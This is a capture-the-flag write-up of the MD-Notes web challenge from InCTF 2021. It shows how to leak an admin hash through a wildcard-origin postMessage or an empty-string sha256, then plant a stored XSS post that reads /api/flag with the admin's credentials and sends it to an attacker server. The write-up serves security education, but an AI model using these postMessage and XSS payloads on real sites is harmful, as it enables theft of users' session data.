tl;dr
- Leak admin’s hash using wildcard target origin in postMessage or by calculating
sha256('')
. - Create an XSS payload to read
/api/flag
and send it to attacker server.
Challenge Author: imp3ri0n
Challenge Points: 100
Challenge Solves: 46
Introduction
A brief write-up of MD-Notes, web exploitation challenge from InCTF Internationals 2021. The source code of the challenge can be downloaded from here.
We’re provided with a markdown editor and an admin bot. The admin bot visits any link that is provided to it.
Initial Analysis
When a note is previewed, a POST request is made to /api/filter
which returns a Hash, sanitized text and raw input. Preview is rendered inside an iframe using the following script.
1 | window.addEventListener("message", (event) => { |
The preview iframe sends back the filtered input (note that it contains Hash
).
To save the post, a request has to be made to /api/create
, which contains the hash and raw body. The created post is encoded if the hash does not belong to the admin.
1 | // Omitted for brevity |
There’s a /_debug
endpoint that returns the admin_bucket
. There is also /api/flag
endpoint which returns the flag if admin token (which is in turn the flag) matches the cookie value.
Exploit
From the above observations, we can conclude that:
- We require XSS to read
/api/flag
. - XSS is possible only with the admin’s hash.
Retrieving the Hash
The admin’s hash can be retrieved in two ways:
- By sending the bot to an attacker controlled website that contains an iframe pointing to /demo and sending a postMessage to it.
1 | <iframe src="http://web.challenge.bi0s.in:5432/demo" id="frame"></iframe> |
- The value of
hash
is always equal tosha256('')
sinceCONFIG.admin_token
will be undefined. That means, the hash will bee3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
.
Creating an XSS payload
Once the hash is retrieved, it is trivial to create a post that contains an XSS payload.
1 | curl 'http://web.challenge.bi0s.in:5432/api/create' \ |
Sending a request as above creates a post in admin’s bucket.
1 | {"Status":"success", "PostId":"67912087343", "Bucket":"b5cd7ae0-7b50-7ae0-7ae0-47a03b473015"} |
Final Payload
exploit.py
1 | import requests |
exploit.js
1 | fetch("/api/flag",{credentials:'include'}) |
Flag
1 | inctf{8d739_csrf_is_fun_3d587ec9} |